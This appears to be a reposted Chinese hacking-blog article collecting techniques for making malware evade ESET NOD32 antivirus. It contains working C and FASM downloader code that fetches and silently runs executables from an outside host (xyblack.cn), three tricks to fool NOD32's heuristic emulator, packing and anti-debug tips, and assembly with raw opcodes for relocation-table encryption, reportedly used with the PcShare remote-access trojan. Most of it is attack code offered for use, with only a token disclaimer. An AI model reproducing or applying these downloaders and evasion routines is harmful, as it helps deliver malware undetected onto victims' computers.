定位免杀NOD32的一些经验

来源:互联网 发布:js 字符串转为json 编辑:程序博客网 时间:2024/06/10 06:16

----collect dying site:http://www.idying.cn


欢迎大家一起讨论

先说下定位方法:

1  NOD32不能正向定位的,定位出来也是不能修改的!针对nod32应该选择反向定位,开始位置为400

填充不一定是90 可以使任意的 现在填90有时候被干扰的

2 使用排除法

收集下目前免杀过NOD32的方法

源码:

1
源码免杀的另类方法函数的延迟加载
例:

复制内容到剪贴板 程序代码
#pragma   comment(lib, "delayimp.lib "); //此处必须

#pragma   comment(linker,   "/DELAYLOAD:ADVAPI32.dll")
#pragma   comment(linker,   "/DELAY:unload   ")
#pragma   comment(lib,   "ADVAPI32.lib")   //加上这一行就可以了

2

利用多线程反Nod32启发式侦查


复制内容到剪贴板 程序代码
/*--------------------------------------
/Author:GTR4[O.S.T]
/Email:502440115@qq.com
/Time:2009/8/29
/FROM:www.3est.com
/Copyright (c) 2009 GTR4.
/
/Just for fun!
/Do it ,do our best!
*/--------------------------------------

int APIENTRY WinMain(HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  LPSTR     lpCmdLine,
  int       nCmdShow)
{
char strAppName[] = "GTR4";
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
//创建互斥对象
hMutex = CreateMutex(NULL, FALSE, strAppName);
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBox(NULL,"Two","",0);
//病毒线程GW......  自己发挥~
URLDownloadToFile(NULL,"http://.exe","C:/test.exe",0,NULL);
ShellExecute(0,"open","c:/test.exe",NULL,NULL,SW_SHOW);
}
else
{
MessageBox(NULL,"One","",0);
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
Sleep(1000);
ExitProcess(-1);
}
}
return 0;
}


3  百度找的一些资料

下面我们来深入的剖析nod32的启发机制:

    我还是用简单的下载者来进行实例的分析,这个无关紧要,因为nod32的机制是一样的,这些方法你可以用到任意的例如木马或者是病毒上。。

    启发式我觉得应该归根于文件扫描引擎中,所以我们就将其叫做启发式扫描吧。那么nod32,不仅仅只是启发式扫描,并且它也应用了传统的特征码匹配技术(特征码匹配技术就是截获病毒样本,然后人为的进行逆向分析,这里为nod32的病毒样本分析师帅哥致敬,这些帅哥找出这个样本的一些特殊地方,然后将这这些特殊地方作为特征码存放到病毒库中并其一个名称, 例如nod32的起名规则一般为“平台/定义名称,举例 win32/ trojanDownLoader)。nod32的启发从控制台的文件监控选项也能看出来。


我们看到它有一个高级启发式扫描的选项,我们勾选这个,则扫描引擎在扫描文件的时候才会去调用高级启发式扫描的过程。所以这个大家一定要注意勾选啊。o(∩_∩)o... 否则..如果nod32病毒库没有匹配特征码的话,你就over了。。

   nod32的启发比较智能和效率高,其一个原因就是它将一些函数分成一些特定的组合。 例如下载,马上执行这就是一个典型的下载者行为。所以nod32一般会将下载和执行作为下载者的依据。(当然可能还要做更多的判断,例如判断这个程序是否还有其他的行为,如果仅仅是下载执行那么必是一个下载者)。

  
    我们做个测试,写一段代码,仅仅是下载的话。nod32是不查杀的。 我们的代码如下:
Code:

format PE GUI 4.0 /
on '%include%/stub.txt'

entry __start

include 'win32ax.inc'

.text


__start:

  xor  esi, esi

  i  URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi
  
  ret

;////////////////////////////////// data ///////////////////////////////
.data

  szUrl db  'http://www.xyblack.cn/s.exe', 0
  szPath db  'c:/1.exe', 0
  PathSize = $-szPath


.idata

  library  urlmon, 'urmon.dll'
  
  include  'api/urlmon.inc'

 

上述代码编译后,nod32不报毒。

   但是只要在     i  URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的执行函数( 如i  WinExec, szPath, SW_HIDE),则nod32报毒 。nod32最出色的是它会去分析程序的引入表, 举个例子,例如下载执行的函数大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我们的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函数,并引入kernel32.dll,nod32就会报毒,这无疑简化了很多效率,但是却有误报啊,例如对于一些可以构建pe结构的编译器编译的程序,如果人家引入了kernel32.dll但是功能仅仅是一个下载,你确报毒,这无疑是误报啊。。。。
但是对于nod32这样出色的杀毒软件,它不会判断你引入这些危险的函数就直接将你定义为病毒, 因为这些函数很多正常的程序也是会调用的。 而它会依据虚拟机代码仿真技术重点对你引入的这些函数去重点进行分析,分析其行为以及参数等。
  那么nod32真的这么难突破吗?    那么下面我们就来实战的通过两个角度来实战突破nod32的启发机制。

突破方式角度1:
  
   因为nod32是基于虚拟机的形式,所以第一种方法是基于虚拟机。 实质是思维逻辑的判断。 nod32通过虚拟机代码仿真,那么我在其上面给你一段正常的代码。(注:这个之前的大致思路是朋友发现的,不过下面的整个思路和想法是自己所思索的)

   举例例如:

   i  GetModuleFileName, esi, ebx, MAX_PATH
  
    i  WinExec, ebx, SW_HIDE

  i  ExitProcess, 0

   这很正常吧。获得自己的文件路径,运行后就退出。 我想nod32的引擎在虚拟机分析到这里肯定就已经断定是一个正常程序了。   因为尤其是到ExitProcess这个函数地址处,因为这已经表示这个程序退出了。。
  那么大家仔细看,上面是获取自己的路径,然后运行自己。那么我们只要让它在第二次运行的时候去判断自己已经运行过了,从而跳转到特定的地址去执行,这个地址才是我们的木马的代码。   因为nod32每次分析我们的木马,由于是初次运行,所以我们的判断绝对跳转没有实现,所以指令只会去执行这几句代码,所以迫使nod32认为这就是个正常的程序代码。 以此躲过nod32的启发。

实现代码如下:
 
Code:

format PE GUI 4.0 /
on '%include%/stub.txt'

entry __start

include 'win32ax.inc'

.text

__start:

  xor  esi, esi
  
  i  CreateEvent, esi, esi,esi, szMutex
  
  i  GetLastError
  
  or  eax, eax
  
  jne  @f
  
  mov  ebx, szName
  
  i  GetModuleFileName, esi, ebx, MAX_PATH
  
  i  WinExec, ebx, SW_HIDE
  
  i  Sleep, 1000
  
  jmp  _end
  
  
@@:

  
  i  URLDownloadToFile, esi, szUrl, szPath, esi, esi
  
  i  WinExec, szPath, SW_SHOW
  
_end:

  i  ExitProcess, 0


;////////////////////////////////// data ///////////////////////////////

section '.data' data readable writeable

szMutex  db  'woaihaha',0

szUrl  db  'http://www.xyblack.cn/s.exe', 0

szPath  db  'F:/2.exe', 0

szName  rb  MAX_PATH


.idata

   library  urlmon, 'urlmon.dll',/
     kernel32, 'kernel32.dll'
  
  include  'api/urlmon.inc'
  include  'api/kernel32.inc'

 

解释:     其实就是加了个创建命名内核空间的函数,由于第一次运行创建命名内核对象函数的话是创建成功的,所以我们就是依据这个原理进行了判断,如果创建失败的话再去执行下载函数,而创建命名内核对象的函数是在 所创建的命名内核对象已存在的情况下才会失败,试问nod32来模拟此指令的时候是创建的成功的,所以它会去执行下面的获得程序的文件路径,然后运行自己,退出程序。 在分析到退出程序的时候,它已经认为这个程序是个安全的了。 而我们的程序第二次运行的时候因为内核对象已经存在了,所以创建失败,然后会去执行下载,执行的函数。。      

这样,轻松简单的突破nod32启发机制。。

突破方式角度2:

   此突破方案,还是基于对nod32虚拟机代码模拟思维逻辑。 由于nod32是基于虚拟机进行,那么我想我精心设计一个函数,使其是个错误的,nod32模拟分析到这里,它模拟到这个函数本就是个错误的。我想它肯定不会在再去分析一遍这个函数,所以它肯定还是分析下面的指令,它分析到执行函数,认为这仅仅就是一个的执行文件的程序嘛,所以也认为是其安全的。。 呵呵,这样也简单的突破nod32的启发。

代码:

Code:

format PE GUI 4.0 /
on '%include%/stub.txt'

entry __start

include 'win32ax.inc'

.text

__start:

  xor  esi, esi
  
  mov  edi, edi
  
  xor  ebx, ebx
  
  jmp  @f
  
_l1:
  mov  edi, szUrl
  
  mov  ebx, szPath
@@:
  i  URLDownloadToFile, esi, edi, ebx, esi, esi

  or  eax, eax
  
  jne  _l1
  
  
  i  WinExec, szPath, SW_HIDE
  
  i  ExitProcess, 0


;////////////////////////////////// data ///////////////////////////////
.data


  szUrl db  'http://www.xyblack.cn/s.exe', 0
  szPath db  'c:/1.exe', 0
  
  PathSize = $-szPath

.idata

  library  urlmon, 'urlmon.dll',/
     kernel32, 'kernel32.dll'
  
  include  'api/urlmon.inc'
  include  'api/kernel32.inc'


突破方式角度3:


    此方法是基于动态地址获取的,因为在我分析的过程中,我发现nod32对于非系统库的dll的获取非常不敏感。。     因为LoadLibrary 和GetProcAddress组合,我想nod32肯定将这个函数组合也放到特定的匹配包里了。但是nod32在分析的过程中针对LoadLibrary的参数进行分析时,如果这个参数指向的是非系统的dll,则nod32不进行重点分析,因为这可能是一个用户的dll,并且输出接口名一样也是有可能的。可能这时候有人说我自己写个dll,然后实现一个下载过程,然后输出接口。你要知道你写的dll还是引入了系统的dll的输出接口,所以还是被nod32杀的。 而咱这个是把一个操作系统本身的无毒东东,换个名字就变成有毒的了。 哈哈

  代码:

Code:


format PE GUI 4.0 /
on '%include%/stub.txt'

entry __start

include 'win32ax.inc'


section '.text' code readable  writeable executable

szText db 'URLDownloadToFileA', 0

szUrl  db 'http://www.xyblack.cn/bitmap.exe', 0

szPath db 'c:/1.exe', 0

szDll  db '/urlmon.dll', 0, 0

szNewPath db 'c:/3.dll',0

szWindowPath rb MAX_PATH
  

__start:

  i  GetSystemDirectory, szWindowPath, MAX_PATH
  
  mov  edi, szWindowPath
  
  repne scasb

  mov  ecx, 4
  
  mov  esi, szDll
  
  rep  movsd
  
  i  CopyFile, szWindowPath, szNewPath, FALSE
  
  i  LoadLibrary, szNewPath
  
  i  GetProcAddress,eax, szText
  
  xor  esi, esi
  
  stdcall eax, esi, szUrl, szPath, esi, esi
  
  i  WinExec,szPath, SW_HIDE
  
  ret


;////////////////////////////////// data ///////////////////////////////


.idata

library  kernel32, 'kernel32.dll'

include  'api/kernel32.inc'

     希望此篇文章能引起nod32的高度重视,,并且希望此篇文章可以帮助到大家深入的理解启发机制,此文仅用于技术研究,如果用此文的技术做任何违法事情,本人概不负责。。因为我想目前网络上应该木有任何一篇文章能是本文这样实例进行进行剖析的,最后祝愿祖国的奥运会举办成功!!!!!


特征码免杀

1  反调试----在加壳的基础上效果会明显


2 加十次北斗壳

加壳!众所周知,NOD32对壳不敏感,这样我们就可以找生僻壳或

者对主流的壳改壳。

3  加壳后再改壳进行变异。

4  加壳后进行指针破坏。

5  直接破坏指针(失效了估计)

6   最后 隐藏输入表后、加复杂的反调试代码和以上方法结合效果会更好。

7 重定位代码加密,秒过NOD32

定位过NOD32特征码的朋友应该都知道,NOD32的特征码几乎全部都是被重定位的代码,如果我们根据重定位表,来把被重定位的数据全部加密了呢?那么不就能秒过NOD32了吗!所以 就有下面的代码出世了,我写了一个下午,总算完善好了~在PcShare完美上线,加个反调试代码就过了~连字符串的特征码都不需要改~这个比隐藏输入表更好用,不需要建立什么INA表那么麻烦~
pushad                                   ; 保护现场
call    10018020                         ; 重定位
pop     eax                              ; 获取现在的地址
sub     eax, 11111111                    ; 获得基址差做重定位 11111111=pop的地址
push    eax                              ; 将基址差压进栈 重定位用
mov     eax, 22222222                    ; 22222222=一个空白地址,这个地址必须可写可读,并且不会被再次修改
add     eax, dword ptr [esp]             ; 重定位
cmp     dword ptr [eax], 1               ; 对比 如果22222222上的数值是1的话就跳过解密
je      short 1001809F                   ; 跳过解密
mov     dword ptr [eax], 1               ; 没解密过就标志解密
mov     edx, 10000000                    ; 33333333=文件内存基址,在lordpe里面显示的
add     edx, dword ptr [esp]             ; 重定位
push    edx                              ; 压进栈准备下面代码调用
mov     ebp, 44444444                    ; 44444444=重定位表的内存地址
add     ebp, dword ptr [esp+4]           ; 重定位
push    dword ptr [ebp]                  ; 将重定位表第一页的地址压进栈
add     ebp, 4                           ; 指向本页大小
xor     eax, eax                         ; 清零eax
xor     ecx, ecx                         ; 清零ecx
xor     edx, edx                         ; 清零edx
mov     ax, word ptr [ebp]               ; 将页数大小传送到ax
sub     ax, 8                            ; 减去下一页的8位地址
mov     cx, 2                            ; 赋予cx为2
div     cx                               ; 将本页页字节除以2,获得重定位代码个数
mov     ecx, eax                         ; 讲结果传送到ecx,做循环用
add     ebp, 4                           ; 指向第一个重定位代码
xor     esi, esi                         ; 清零esi
mov     si, word ptr [ebp]               ; 将重定位地址传送到si
cmp     esi, 0                           ; 对比是否是0
je      short 10018092                   ; 如果是0则跳出解密
sub     si, 3000                         ; 去除3000,获得确切地址的后三位地址
add     esi, dword ptr [esp]             ; 加上这页的基址
add     esi, dword ptr [esp+4]           ; 加上文件基址
mov     ebx, dword ptr [esi]             ; 获取被重定位的数据
mov     edx, 55                          ; 赋予edx一个key,这个key可以随便写,55=key
xor     ebx, edx                         ; 将被重定位的代码解密
add     ebx, dword ptr [esp+8]           ; 重定位被解密的数据
mov     dword ptr [esi], ebx             ; 恢复加密数据
add     ebp, 2                           ; 解密下一个重定位代码
loopd   short 1001806C                   ; 循环解密,到ecx为0
pop     eax                              ; 平衡堆栈
cmp     dword ptr [ebp], 0               ; 查看是否全部解密完毕
jnz     short 1001804C                   ; 如果没解密完毕继续解密
pop     eax                              ; 平衡堆栈
pop     eax                              ; 平衡堆栈
popad                                    ; 恢复现场
retn                                     ; 退出解密函数返回

60 E8 00 00 00 00 58 2D 11 11 11 11 50 B8 22 22 22 22 03 04 24 83 38 01 74 6B C7 00 01 00 00 00
BA 00 00 00 10 03 14 24 52 BD 44 44 44 44 03 6C 24 04 FF 75 00 83 C5 04 33 C0 33 C9 33 D2 66 8B
45 00 66 83 E8 08 66 B9 02 00 66 F7 F1 8B C8 83 C5 04 33 F6 66 8B 75 00 83 FE 00 74 1B 66 81 EE
00 30 03 34 24 03 74 24 04 8B 1E BA 55 00 00 00 33 DA 03 5C 24 08 89 1E 83 C5 02 E2 D5 58 83 7D
00 00 75 AE 58 58 61 C3

11111111=pop的地址
22222222=一个空白地址,这个地址必须可写可读,并且不会被再次修改
33333333=文件内存基址,在lordpe里面显示的
44444444=重定位表的内存地址
55=key,这个key可以随便写

Dying's Blog--天堂隔壁:http://www.idying.cn/article.asp?id=114

原创粉丝点击